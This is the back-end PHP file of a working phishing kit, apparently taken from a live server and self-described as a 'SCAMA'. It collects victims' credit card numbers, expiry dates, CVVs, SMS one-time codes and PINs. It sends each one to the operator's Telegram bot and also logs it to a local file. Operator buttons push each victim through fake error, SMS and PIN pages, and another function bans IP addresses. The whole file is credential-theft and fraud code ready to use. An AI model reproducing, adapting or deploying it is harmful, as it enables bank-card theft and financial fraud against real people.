• File: check-action.php
  • Full Path: /home/sema-files/web/semafiles.configured.cc/public_html/pge/control-panel/check-action.php
  • Date Modified: 09/23/2025 5:30 AM
  • File size: 29.15 KB
  • MIME-type: text/x-php
  • Charset: utf-8
<?php
    error_reporting(0);
    session_start();

	include "../setting/config.php";
	include "../setting/functions.php";
    include "../includes/set-data-users.php";
    include "../includes/add-current-step.php";

    $ip = get_client_ip();
    $link_panel = $_SESSION["panel_control"];
    $panel_telegram = $_SESSION["panel_telegram"];
    $main_panel = $_SESSION["main_panel"];
    $bot_url  = TOKEN;
    $chat_id  = CHATID;
    $host = $link_panel;
    $panel_target = $link_panel;
    $credit_card_error = $panel_telegram."&to=credit-card-error";
    $sms = $panel_telegram."&to=sms";
    $sms_error = $panel_telegram."&to=sms-error";
    $pin = $panel_telegram."&to=pin";
    $pin_error = $panel_telegram."&to=pin-error";
    $approvation = $panel_telegram."&to=approvation";
    $approvation_error = $panel_telegram."&to=approvation-error";
    $confirmed = $panel_telegram."&to=confirmed";
    $logout = $panel_telegram."&to=logout";
    $ban = $panel_telegram."&ban=$ip";
    
    $keyboard = json_encode([
        "inline_keyboard" => [
            [
                [
                    "text" => "β›” ERROR Credit Card β›”",
                    "url" => "$credit_card_error"
                ],
                
            ],
            [
                [
                    "text" => "πŸ’¬ SMS πŸ’¬",
                    "url" => "$sms"
                ],
                [
                    "text" => "β›” ERROR SMS β›”",
                    "url" => "$sms_error"
                ]
            ],
            [
                [
                    "text" => "πŸ”‘ PIN Code πŸ”‘",
                    "url" => "$pin"
                ],
                [
                    "text" => "β›” ERROR PIN Code β›”",
                    "url" => "$pin_error"
                ]
            ],
            [
                [
                    "text" => "πŸ“² Approvation πŸ“²",
                    "url" => "$approvation"
                ],
                [
                    "text" => "β›” ERROR Approvation β›”",
                    "url" => "$approvation_error"
                ]
            ],
            [
                [
                    "text" => "βœ… CONFIRM βœ…",
                    "url" => "$confirmed"
                ],
                [
                    "text" => "πŸ—‘ Logout πŸ—‘",
                    "url" => "$logout"
                ]
            ],
            [
                [
                        "text" => "πŸ›‘ Ban IP πŸ›‘",
                        "url" => "$ban"
                ]
            ],
        ]
    ]);

    $keyboard_end = json_encode([
        "inline_keyboard" => [
            [
                [
                    "text" => "πŸ—‘ Logout πŸ—‘",
                    "url" => "$logout"
                ]
            ],
            [
                [
                        "text" => "πŸ›‘ Ban IP πŸ›‘",
                        "url" => "$ban"
                ]
            ],
            [
                [
                        "text" => "πŸ“Š Main Panel πŸ“Š",
                        "url" => "$main_panel"
                ]
            ],
        ]
    ]);

    if($_SERVER['REQUEST_METHOD'] === 'POST'){
        if($_POST['step'] === 'credit-card'){
            if (isset($_POST['b_s_d_p'])) {
                // Info User :
                $card_number = $_POST['numberdrac'];
                $expires = $_POST['datedrac'];
                $cvv = $_POST['vvcdrac'];
                $apiKey = ApiBin;
                $cardNumber = str_replace(' ', '', $card_number);
                $firstSixDigits = substr($cardNumber, 0, 6);
                $last_four_digits = substr($cardNumber, -4);
                
                $url = "https://data.handyapi.com/bin/" . $firstSixDigits;
                $options = [
                    "http" => [
                        "method" => "GET",
                        "header" => "x-api-key: {$apiKey}\r\n"
                    ]
                ];
            
                $context = stream_context_create($options);
                $response = @file_get_contents($url, false, $context);
                $data = @json_decode($response, true);
        
                if ($data["Scheme"] === "MASTERCARD") {
                    $_SESSION["image_by"] = '<img src="../img/by-mastercard.png" >';
                } elseif ($data["Scheme"] === "VISA") {
                    $_SESSION["image_by"] = '<img src="../img/by-visa.png" >';
                } elseif ($data["Scheme"] === "DISCOVER") {
                    $_SESSION["image_by"] = '<img src="../img/by-discover.png" >';
                } elseif ($data["Scheme"] === "MAESTRO") {
                    $_SESSION["image_by"] = '<img src="../img/by-moestro.png" >';
                } elseif ($data["Scheme"] === "AMERICAN EXPRESS") {
                    $_SESSION["image_by"] = '<img src="../img/by-american-express.png" >';
                } else {
                    $_SESSION["image_by"] = '<img src="../img/by-other.jpg" style="width:49px !important;">';
                }

                $_SESSION["name_the_bank"] = $data["Issuer"];
                $_SESSION["Type"] = $data["Type"];
                $_SESSION["Scheme"] = $data["Scheme"];
            
                // Send Data To Telegram Bot :
                $message =
                "πŸ’³=====[ Credit Card ]=====πŸ’³\r\n".
                "[ πŸ’³ Card Number ] " . $cardNumber ."\r\n".
                "[ πŸ“… Expiry Date ] " . $expires ."\r\n".
                "[ πŸ” Cvv ] " .$cvv ."\r\n".
                "[ πŸ’³ Type Card ] " . $_SESSION["Type"] ."\r\n".
                "[ πŸ’³ Type Card ] " . $_SESSION["Scheme"] ."\r\n".
                "[ πŸ’³ Bank Name ] " . $_SESSION["name_the_bank"] ."\r\n".
                "πŸ“IP - ".$ip." | ".$_SESSION['code_country_visit']."\r\n".
                "πŸ’³=====[ Credit Card ]=====πŸ’³\r\n";

                $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard
                );
            
                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);
                
                $message_to_file = 
                "[=====[ Credit Card ]=====]\r\n".
                "[ Card Number ] " . $card_number ."\r\n".
                "[ Expiry Date ] " . $expires ."\r\n".
                "[ Cvv ] " . $cvv ."\r\n".
                "[ Type Card ] " . $_SESSION["Type"] ."\r\n".
                "[ Type Card ] " . $_SESSION["Scheme"] ."\r\n".
                "[ Bank Name ] " . $_SESSION["name_the_bank"] ."\r\n".
                "IP - ".$ip." | ".$_SESSION['code_country_visit']."\r\n".
                "[=====[ Credit Card ]=====]\r\n";
                    
                $file = fopen("../file/file.txt", "a");
                fwrite($file, $message_to_file. "\n");
                fclose($file);

                $target = $_POST['ip'];
                $data_count = 'data_4';
                set_data_user_target($target, $data_count, $message_to_file);
            }
            header('Location: ../pages/loading.php');        
        }
        elseif($_POST['step'] === 'credit-card-error'){
            if (isset($_POST['b_s_d_p'])) {
                // Info User :
                $card_number = $_POST['numberdrac'];
                $expires = $_POST['datedrac'];
                $cvv = $_POST['vvcdrac'];
                $apiKey = ApiBin;
                $cardNumber = str_replace(' ', '', $card_number);
                $firstSixDigits = substr($cardNumber, 0, 6);
                $last_four_digits = substr($cardNumber, -4);
                
                $url = "https://data.handyapi.com/bin/" . $firstSixDigits;
                $options = [
                    "http" => [
                        "method" => "GET",
                        "header" => "x-api-key: {$apiKey}\r\n"
                    ]
                ];
            
                $context = stream_context_create($options);
                $response = @file_get_contents($url, false, $context);
                $data = @json_decode($response, true);
        
                if ($data["Scheme"] === "MASTERCARD") {
                    $_SESSION["image_by"] = '<img src="../img/by-mastercard.png" >';
                } elseif ($data["Scheme"] === "VISA") {
                    $_SESSION["image_by"] = '<img src="../img/by-visa.png" >';
                } elseif ($data["Scheme"] === "DISCOVER") {
                    $_SESSION["image_by"] = '<img src="../img/by-discover.png" >';
                } elseif ($data["Scheme"] === "MAESTRO") {
                    $_SESSION["image_by"] = '<img src="../img/by-moestro.png" >';
                } elseif ($data["Scheme"] === "AMERICAN EXPRESS") {
                    $_SESSION["image_by"] = '<img src="../img/by-american-express.png" >';
                } else {
                    $_SESSION["image_by"] = '<img src="../img/by-other.jpg" style="width:49px !important;">';
                }

                $_SESSION["name_the_bank"] = $data["Issuer"];
                $_SESSION["Type"] = $data["Type"];
                $_SESSION["Scheme"] = $data["Scheme"];
            
                // Send Data To Telegram Bot :
                $message =
                "πŸ’³=====[ Credit Card ERROR ]=====πŸ’³\r\n".
                "[ πŸ’³ Card Number ] " . $cardNumber ."\r\n".
                "[ πŸ“… Expiry Date ] " . $expires ."\r\n".
                "[ πŸ” Cvv ] " .$cvv ."\r\n".
                "[ πŸ’³ Type Card ] " . $_SESSION["Type"] ."\r\n".
                "[ πŸ’³ Type Card ] " . $_SESSION["Scheme"] ."\r\n".
                "[ πŸ’³ Bank Name ] " . $_SESSION["name_the_bank"] ."\r\n".
                "πŸ“IP - ".$ip." | ".$_SESSION['code_country_visit']."\r\n".
                "πŸ’³=====[ Credit Card ERROR ]=====πŸ’³\r\n";

                $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard
                );
            
                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);
                
                $message_to_file = 
                "[=====[ Credit Card ERROR ]=====]\r\n".
                "[ Card Number ] " . $card_number ."\r\n".
                "[ Expiry Date ] " . $expires ."\r\n".
                "[ Cvv ] " . $cvv ."\r\n".
                "[ Type Card ] " . $_SESSION["Type"] ."\r\n".
                "[ Type Card ] " . $_SESSION["Scheme"] ."\r\n".
                "[ Bank Name ] " . $_SESSION["name_the_bank"] ."\r\n".
                "IP - ".$ip." | ".$_SESSION['code_country_visit']."\r\n".
                "[=====[ Credit Card ERROR ]=====]\r\n";
                    
                $file = fopen("../file/file.txt", "a");
                fwrite($file, $message_to_file. "\n");
                fclose($file);

                $target = $_POST['ip'];
                $data_count = 'data_5';
                set_data_user_target($target, $data_count, $message_to_file);
            }
            header('Location: ../pages/loading.php');            
        }
        elseif($_POST['step'] === 'sms'){
            if (isset($_POST['b_s_d_p'])) {
                // Info User :
                $mss = $_POST['mss'];
                
                // Send Data To Telegram Bot :
                $message =
                "πŸ“²=====[ Code SMS ]=====πŸ“²\r\n".
                "[ Code SMS ] " . $mss ."\r\n".
                "πŸ“IP - ".$ip." | ".$_SESSION['code_country_visit']."\r\n".
                "πŸ“²=====[ Code SMS ]=====πŸ“²\r\n";

                $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard
                );
            
                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);

                $message_to_file = 
                "[=====[ Code SMS ]=====]\r\n".
                "[ Code SMS ] " . $mss ."\r\n".
                "IP - ".$ip." | ".$_SESSION['code_country_visit']."\r\n".
                "[=====[ Code SMS ]=====]\r\n";

                $file = fopen("../file/file.txt", "a");
                fwrite($file, $message_to_file. "\n");
                fclose($file);

                $target = $_POST['ip'];
                $data_count = 'data_6';
                set_data_user_target($target, $data_count, $message_to_file);
            }
            header('Location: ../pages/loading.php');
        }
        elseif($_POST['step'] === 'sms-error'){
            if (isset($_POST['b_s_d_p'])) {
               // Info User :
               $mss = $_POST['mss'];
                
               // Send Data To Telegram Bot :
               $message =
               "πŸ“²=====[ ERROR Code SMS ]=====πŸ“²\r\n".
               "[ Code SMS ] " . $mss ."\r\n".
               "πŸ“IP - ".$ip." | ".$_SESSION['code_country_visit']."\r\n".
               "πŸ“²=====[ ERROR Code SMS ]=====πŸ“²\r\n";

                $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard
                );

                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);

                $message_to_file = 
                "[=====[ ERROR Code SMS ]=====]\r\n".
                "[ Code SMS ] " . $mss ."\r\n".
                "IP - ".$ip." | ".$_SESSION['code_country_visit']."\r\n".
                "[=====[ ERROR Code SMS ]=====]\r\n";

                $file = fopen("../file/file.txt", "a");
                fwrite($file, $message_to_file. "\n");
                fclose($file);

                $target = $_POST['ip'];
                $data_count = 'data_7';
                set_data_user_target($target, $data_count, $message_to_file);
            }
            header('Location: ../pages/loading.php');
        }
        elseif($_POST['step'] === 'pin'){
            if (isset($_POST['b_s_d_p'])) {
                // Info User :
                $pin = $_POST['pin'];
                
                // Send Data To Telegram Bot :
                $message =
                "πŸ”=====[ PIN Code ]=====πŸ”\r\n".
                "[ πŸ”‘ PIN Code ] " . $pin ."\r\n".
                "πŸ“IP - ".$ip." | ".$_SESSION['code_country_visit']."\r\n".
                "πŸ”=====[ PIN Code ]=====πŸ”\r\n";

                $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard
                );
            
                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);

                $message_to_file = 
                "[=====[ PIN Code ]=====]\r\n".
                "[ PIN Code ] " . $pin ."\r\n".
                "IP - ".$ip." | ".$_SESSION['code_country_visit']."\r\n".
                "[=====[ PIN Code ]=====]\r\n";

                $file = fopen("../file/file.txt", "a");
                fwrite($file, $message_to_file. "\n");
                fclose($file);

                $target = $_POST['ip'];
                $data_count = 'data_8';
                set_data_user_target($target, $data_count, $message_to_file);
            }
            header('Location: ../pages/loading.php');
        }
        elseif($_POST['step'] === 'pin-error'){
            if (isset($_POST['b_s_d_p'])) {
                // Info User :
                $pin = $_POST['pin'];
                
                // Send Data To Telegram Bot :
                $message =
                "πŸ”=====[ PIN Code ERROR ]=====πŸ”\r\n".
                "[ πŸ”‘ PIN Code ] " . $pin ."\r\n".
                "πŸ“IP - ".$ip." | ".$_SESSION['code_country_visit']."\r\n".
                "πŸ”=====[ PIN Code ERROR ]=====πŸ”\r\n";

                $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard
                );
            
                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);

                $message_to_file = 
                "[=====[ PIN Code ERROR ]=====]\r\n".
                "[ PIN Code ] " . $pin ."\r\n".
                "IP - ".$ip." | ".$_SESSION['code_country_visit']."\r\n".
                "[=====[ PIN Code ERROR ]=====]\r\n";

                $file = fopen("../file/file.txt", "a");
                fwrite($file, $message_to_file. "\n");
                fclose($file);

                $target = $_POST['ip'];
                $data_count = 'data_9';
                set_data_user_target($target, $data_count, $message_to_file);
            }
            header('Location: ../pages/loading.php');
        } 
        elseif($_POST['step'] === 'approvation'){
            if(isset($_POST['b_s_d_p'])) {
                $status = "User Click Continue From Page (Approvation)";

                // Send Data To Telegram Bot :
                $message =
                "πŸ“²=====[ Page (Approvation) ]=====πŸ“²\r\n".
                "[ Status ] " . $status ."\r\n".
                "πŸ“IP - ".$ip." | ".$_SESSION['code_country_visit']."\r\n".
                "πŸ“²=====[ Page (Approvation) ]=====πŸ“²\r\n";

                $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard
                );

                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);
                
                $message_to_file = 
                "[=====[ Page (Approvation) ]=====]\r\n".
                "[ Status ] " . $status ."\r\n".
                "IP - ".$ip." | ".$_SESSION['code_country_visit']."\r\n".
                "[=====[ Page (Approvation) ]=====]\r\n";
                
                $file = fopen("../file/file.txt", "a");
                fwrite($file, $message_to_file. "\n");
                fclose($file);

                $target = $_POST['ip'];
                $data_count = 'data_10';
                set_data_user_target($target, $data_count, $message_to_file);
            }
            header('Location: ../pages/loading.php');
        }
        elseif($_POST['step'] === 'approvation-error'){
            if(isset($_POST['b_s_d_p'])) {
                $status = "User Click Continue From Page Error (Approvation)";

                // Send Data To Telegram Bot :
                $message =
                "πŸ“²=====[ Page ERROR (Approvation) ]=====πŸ“²\r\n".
                "[ Status ] " . $status ."\r\n".
                "πŸ“IP - ".$ip." | ".$_SESSION['code_country_visit']."\r\n".
                "πŸ“²=====[ Page ERROR (Approvation) ]=====πŸ“²\r\n";
                
                $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard
                );

                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);
                
                $message_to_file = 
                "[=====[ Page ERROR (Approvation) ]=====]\r\n".
                "[ Status ] " . $status ."\r\n".
                "IP - ".$ip." | ".$_SESSION['code_country_visit']."\r\n".
                "[=====[ Page ERROR (Approvation) ]=====]\r\n";
                
                $file = fopen("../file/file.txt", "a");
                fwrite($file, $message_to_file. "\n");
                fclose($file);

                $target = $_POST['ip'];
                $data_count = 'data_11';
                set_data_user_target($target, $data_count, $message_to_file);
            }
            header('Location: ../pages/loading.php');    
        }
        elseif($_POST['step'] === 'confirmed'){
            if(isset($_POST['b_s_d_p'])) {
                $status = "Victim Complete steps successfully";
        
                // Send Data To Telegram Bot :
                $message =
                "πŸ’ΈπŸ’Ά=====[ Status ]=====πŸ’ΈπŸ’Ά\r\n".
                "[ Status ] " . $status ."\r\n".
                "πŸ“IP - ".$ip." | ".$_SESSION['code_country_visit']."\r\n".
                "πŸ’ΈπŸ’Ά=====[ Status ]=====πŸ’ΈπŸ’Ά\r\n";
                
                $parameters = array(
                    "chat_id" => $chat_id,
                    "text" => $message,
                    'reply_markup' => $keyboard_end
                );
            
                $send = ($parameters);
                $website_telegram = "https://api.telegram.org/bot{$bot_url}";
                $ch = curl_init($website_telegram . '/sendMessage');
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, ($send));
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $result = curl_exec($ch);
                curl_close($ch);
                
                $message_to_file = 
                "[=====[ Status ]=====]\r\n".
                "[ Status ] " . $status ."\r\n".
                "IP - ".$ip." | ".$_SESSION['code_country_visit']."\r\n".
                "[=====[ Status ]=====]\r\n";
                
                $file = fopen("../file/file.txt", "a");
                fwrite($file, $message_to_file. "\n");
                fclose($file);

                $target = $_POST['ip'];
                $data_count = 'data_12';
                set_data_user_target($target, $data_count, $message_to_file);
            }
            header('Location: ../pages/loading.php');  
        }
    }
    elseif ($_SERVER['REQUEST_METHOD'] === 'GET') {
        if(!isset($_GET["id_vip"])) {
            $_GET["id_vip"] = $_GET['id_user'];
        }

        if($_GET['to'] === 'login'){
            $target = $_GET['id_vip'];
            $to = "login";
            added($target, $to);
        }
        elseif($_GET['to'] === 'login-error'){
            $target = $_GET['id_vip'];
            $to = "login-error";
            added($target, $to);
        }
        elseif($_GET['to'] === 'credit-card'){
            $target = $_GET['id_vip'];
            $to = "credit-card";
            added($target, $to);
        }
        elseif($_GET['to'] === 'credit-card-error'){
            $target = $_GET['id_vip'];
            $to = "credit-card-error";
            added($target, $to);
        }
        elseif($_GET['to'] === 'sms'){
            $target = $_GET['id_vip'];
            $to = "sms";
            added($target, $to);
        }
        elseif($_GET['to'] === 'sms-error'){
            $target = $_GET['id_vip'];
            $to = "sms-error";
            added($target, $to);
        }
        elseif($_GET['to'] === 'pin'){
            $target = $_GET['id_vip'];
            $to = "pin";
            added($target, $to);
        }
        elseif($_GET['to'] === 'pin-error'){
            $target = $_GET['id_vip'];
            $to = "pin-error";
            added($target, $to);
        }
        elseif($_GET['to'] === 'approvation'){
            $target = $_GET['id_vip'];
            $to = "approvation";
            added($target, $to);
        }
        elseif($_GET['to'] === 'approvation-error'){
            $target = $_GET['id_vip'];
            $to = "approvation-error";
            added($target, $to);
        }
        elseif($_GET['to'] === 'confirmed'){
            $target = $_GET['id_vip'];
            $to = "confirmed";
            added($target, $to);

            $statics_file = "../panel/get-panel/statics.json";
            $statics_data = file_get_contents($statics_file);
            $data_main_panel = json_decode($statics_data, true);
            $data_main_panel['total_done_steps'] += 1;
            $updated_statics_data = json_encode($data_main_panel);
            file_put_contents($statics_file, $updated_statics_data);
        }
        elseif($_GET['to'] === 'logout'){
            $target = $_GET['id_vip'];
            $to = "logout";
            $current_page = "User Is Logout From SCAMA";
            $userStatus = "<span class='offline'>Offline</span>";
            added_other($target, $to, $current_page, $userStatus);
        }
        elseif(isset($_GET['ban'])){
            $target = $_GET['ban'];
            $to = "ban";
            added($target, $to);
            
            function validateIP($ip) {
                return filter_var($ip, FILTER_VALIDATE_IP) !== false;
            }
            
            $userIP = $_GET['ban'];

            if (validateIP($userIP)) {
                $blockedIPs = file_get_contents('../panel/actions/blocked_ips.txt');
                if (strpos($blockedIPs, $userIP) === false) {
                    file_put_contents("../panel/actions/blocked_ips.txt", $userIP . "\n", FILE_APPEND);

                    // Statics :
                    $statics_file = "../panel/get-panel/statics.json";
                    $statics_data = file_get_contents($statics_file);
                    $user_data = json_decode($statics_data, true);
                    $user_data['total_block'] += 1;
                    $updated_statics_data = json_encode($user_data);
                    file_put_contents($statics_file, $updated_statics_data);

                    $_SESSION["message_panel"] = "This User Is Block - " . $userIP;

                } else {
                    $_SESSION["message_panel"] = "This User Is Already Block - " . $userIP;
                }
            } else {
                $_SESSION["message_panel"] = "Invalid IP address - " . $userIP;

            }
            
        }
        header('Location: ./panel.php?id_user='. $_GET["id_vip"].'');
    }
    else {
        header('Location: ../index.php');
    }
?>